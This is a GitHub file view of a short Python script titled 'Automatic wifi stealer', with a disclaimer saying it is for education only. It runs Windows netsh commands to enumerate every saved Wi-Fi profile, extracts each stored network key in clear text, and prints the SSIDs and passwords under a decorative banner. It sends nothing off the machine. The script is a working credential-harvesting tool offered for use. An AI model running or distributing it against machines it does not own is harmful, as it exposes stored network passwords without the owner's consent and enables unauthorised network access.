-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain.py
86 lines (58 loc) · 4.36 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# ---------- Automatic wifi stealer ----------
#
# ----------------------- IMPORTANT -----------------------
# ---------- This programm is only for eduction! ----------
# ---------- Im not responsible for any damage! ----------
# ---------------------------------------------------------
# ---------- Import of all important modules for the project ----------
import subprocess
import re
import colorama
from colorama import Fore, Back, Style
from colorama import init
from termcolor import colored
colorama.init(autoreset=True)
# ---------- Title of the project // Bar to beautify the UI ----------
print(f"""{Fore.BLUE}
░██╗░░░░░░░██╗██╗███████╗██╗ ░██████╗████████╗███████╗░█████╗░██╗░░░░░███████╗██████╗░
░██║░░██╗░░██║██║██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝██╔══██╗██║░░░░░██╔════╝██╔══██╗
░╚██╗████╗██╔╝██║█████╗░░██║ ╚█████╗░░░░██║░░░█████╗░░███████║██║░░░░░█████╗░░██████╔╝
░░████╔═████║░██║██╔══╝░░██║ ░╚═══██╗░░░██║░░░██╔══╝░░██╔══██║██║░░░░░██╔══╝░░██╔══██╗
░░╚██╔╝░╚██╔╝░██║██║░░░░░██║ ██████╔╝░░░██║░░░███████╗██║░░██║███████╗███████╗██║░░██║
░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝ ╚═════╝░░░░╚═╝░░░╚══════╝╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░╚═╝
{Fore.GREEN}
▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼
""")
# ---------- Commands to find out the Wlan passwords and connections ----------
command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode()
profile_names = (re.findall("All User Profile : (.*)\r", command_output))
wifi_list = []
if len(profile_names) != 0:
for name in profile_names:
wifi_profile = {}
profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode()
if re.search("Security key : Absent", profile_info):
continue
else:
wifi_profile["Wifi"] = name
profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode()
# ---------- Convert the output to a variable ----------
password = re.search("Key Content : (.*)\r", profile_info_pass)
if password == None:
wifi_profile["Password"] = None
else:
wifi_profile["Password"] = password[1]
wifi_list.append(wifi_profile)
# ---------- Output all WiFi connections and WiFi passwords ----------
print(" ")
print(Fore.GREEN + str(wifi_list))
# ---------- Spacers for a better overview ----------
print(" ")
# ---------- Note that the program is complete and the window can be closed ----------
print(f"{Fore.GREEN}Program complete you can close the window...")
# ---------- Bar to beautify the UI ----------
print(f"""{Fore.GREEN}
▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼
""")
input("""
""")